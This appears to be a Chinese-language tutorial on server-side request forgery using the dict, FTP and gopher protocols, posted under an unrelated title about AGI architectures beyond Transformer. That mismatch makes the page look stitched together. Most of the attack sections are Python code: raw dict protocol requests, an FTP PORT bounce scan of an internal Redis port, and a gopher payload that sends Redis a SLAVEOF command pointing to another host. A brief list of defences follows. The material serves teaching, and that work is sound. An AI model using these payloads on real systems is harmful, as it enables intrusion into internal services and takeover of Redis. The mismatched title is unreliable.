AGI技术路线新探索:超越Transformer的替代方案
2026/7/26 20:23:35
pythonimport socketdef dict_request(host, port, command): """ 通过 dict 协议向服务器发送命令 参数: host: 目标主机 IP port: 目标端口(默认 2628) command: 例如 "DEFINE en hello" 查询单词 """ try: # 创建 TCP 连接 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((host, port)) # 发送 dict 协议命令(以 \r\n 结尾) request = f"CLIENT libcurl\r\n{command}\r\nQUIT\r\n" sock.send(request.encode()) # 接收响应 response = b"" while True: data = sock.recv(1024) if not data: break response += data sock.close() return response.decode() except Exception as e: return f"错误: {e}"# 使用示例:查询单词 "test"result = dict_request("192.168.1.100", 2628, "DEFINE en test")print("Dict 协议响应:", result)解释:这个示例展示了如何用 Python 原始 socket 实现 dict 协议。在实际 SSRF 攻击中,攻击者可能通过此协议向内部 Redis 或数据库发送恶意命令,因为 dict 协议与 Redis 协议有相似之处。## FTP 协议:文件传输与路径遍历FTP 协议不仅用于文件传输,还可能被用于路径遍历攻击。例如,攻击者可以利用 FTP 的PASV模式或PORT命令来扫描内部端口。### 代码示例 2:通过 FTP 协议进行端口扫描pythonimport socketdef ftp_port_scan(target_ip, port_to_scan, ftp_port=21): """ 通过 FTP 的 PORT 命令扫描内部端口 参数: target_ip: 目标 FTP 服务器 IP port_to_scan: 要扫描的端口号 ftp_port: FTP 服务端口(默认 21) """ try: # 连接 FTP 控制端口 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, ftp_port)) # 接收 FTP 欢迎信息 response = sock.recv(1024).decode() print("FTP 欢迎信息:", response) # 登录(匿名用户) sock.send(b"USER anonymous\r\n") response = sock.recv(1024).decode() sock.send(b"PASS guest\r\n") response = sock.recv(1024).decode() print("登录响应:", response) # 构造 PORT 命令:IP 地址和端口(端口编码为两个字节) port_high = port_to_scan // 256 port_low = port_to_scan % 256 port_command = f"PORT 127,0,0,1,{port_high},{port_low}\r\n" sock.send(port_command.encode()) response = sock.recv(1024).decode() print(f"扫描端口 {port_to_scan} 响应: {response}") # 尝试 LIST 命令触发数据连接 sock.send(b"LIST\r\n") response = sock.recv(1024).decode() print("LIST 响应:", response) sock.close() except Exception as e: print(f"错误: {e}")# 使用示例:扫描内部服务器 192.168.1.100 的 6379 端口(Redis)ftp_port_scan("192.168.1.100", 6379)解释:这个示例利用了 FTP 的 PORT 命令来指定数据连接的目标地址和端口。如果 FTP 服务器配置不当,它可以被用来向任意内部主机发起连接,从而实现端口扫描。注意,这里我们使用127.0.0.1作为目标,实际攻击中会替换为内部服务器 IP。## Gopher 协议:万能协议转换器Gopher 协议是最强大的非标准协议之一,因为它可以发送任意字节流。攻击者通常用它来模拟 HTTP、FTP 或其他协议请求。例如,向 Redis 发送SLAVEOF命令。### 高级用法:利用 gopher 协议攻击 Redispythonimport urllib.parsedef build_gopher_payload(redis_command): """ 构建 gopher 协议 payload,用于发送 Redis 命令 参数: redis_command: Redis 命令字符串,如 "SLAVEOF 192.168.1.200 6379" 返回:gopher URL 格式的字符串 """ # Redis 命令需要以 \r\n 结尾 payload = redis_command + "\r\n" # gopher 协议将数据编码在 URL 中,使用 %0d%0a 表示 \r\n encoded = urllib.parse.quote(payload, safe='') # 构建 gopher URL:gopher://目标IP:端口/_数据 gopher_url = f"gopher://192.168.1.100:6379/_{encoded}" return gopher_url# 示例:发送 Redis 命令设置主从复制payload = build_gopher_payload("SLAVEOF 192.168.1.200 6379")print("Gopher payload:", payload)解释:这个示例展示了如何构造 gopher URL 来向 Redis 发送命令。gopher 协议会将_后的部分作为原始数据发送到目标端口。通过这种方式,攻击者可以绕过 HTTP-only 的安全限制,直接与内部 Redis 通信。## 协议转换与内部信任滥用现在回到开篇的问题:由于其他服务器信任该内部服务器,攻击者可以通过这些非标准协议实现“协议转换”。例如:1.SSRF 漏洞:Web 应用允许用户输入 URL,攻击者输入gopher://internal-redis:6379/_*来执行命令。2.信任链:内部服务器之间没有严格的身份验证,攻击者利用 dict 或 FTP 协议伪装成合法请求。3.绕过防火墙:非标准协议往往不在白名单内,可能被防火墙忽略。## 防御措施1.限制协议类型:在应用层过滤不必要协议(如禁用 cURL 的CURLOPT_PROTOCOLS)。2.网络隔离:内部服务器之间也应使用最小权限原则,不信任任何非必要连接。3.输入验证:严格验证用户提供的 URL,拒绝非 HTTP/HTTPS 协议。## 总结从本文可以看出,网络请求除了常见的 HTTP/HTTPS 外,dict、FTP 和 gopher 协议在特定场景下同样强大。它们之所以能成为攻击利器,根源在于内部服务器之间的过度信任。作为开发者,我们需要理解这些协议的工作原理,并在系统设计中防范协议滥用。通过基础概念学习和实战代码演练,你可以更全面地掌握网络安全的核心要点,从而构建更健壮的应用系统。记住,信任是安全的最大敌人,即使是内部网络,也需保持警惕。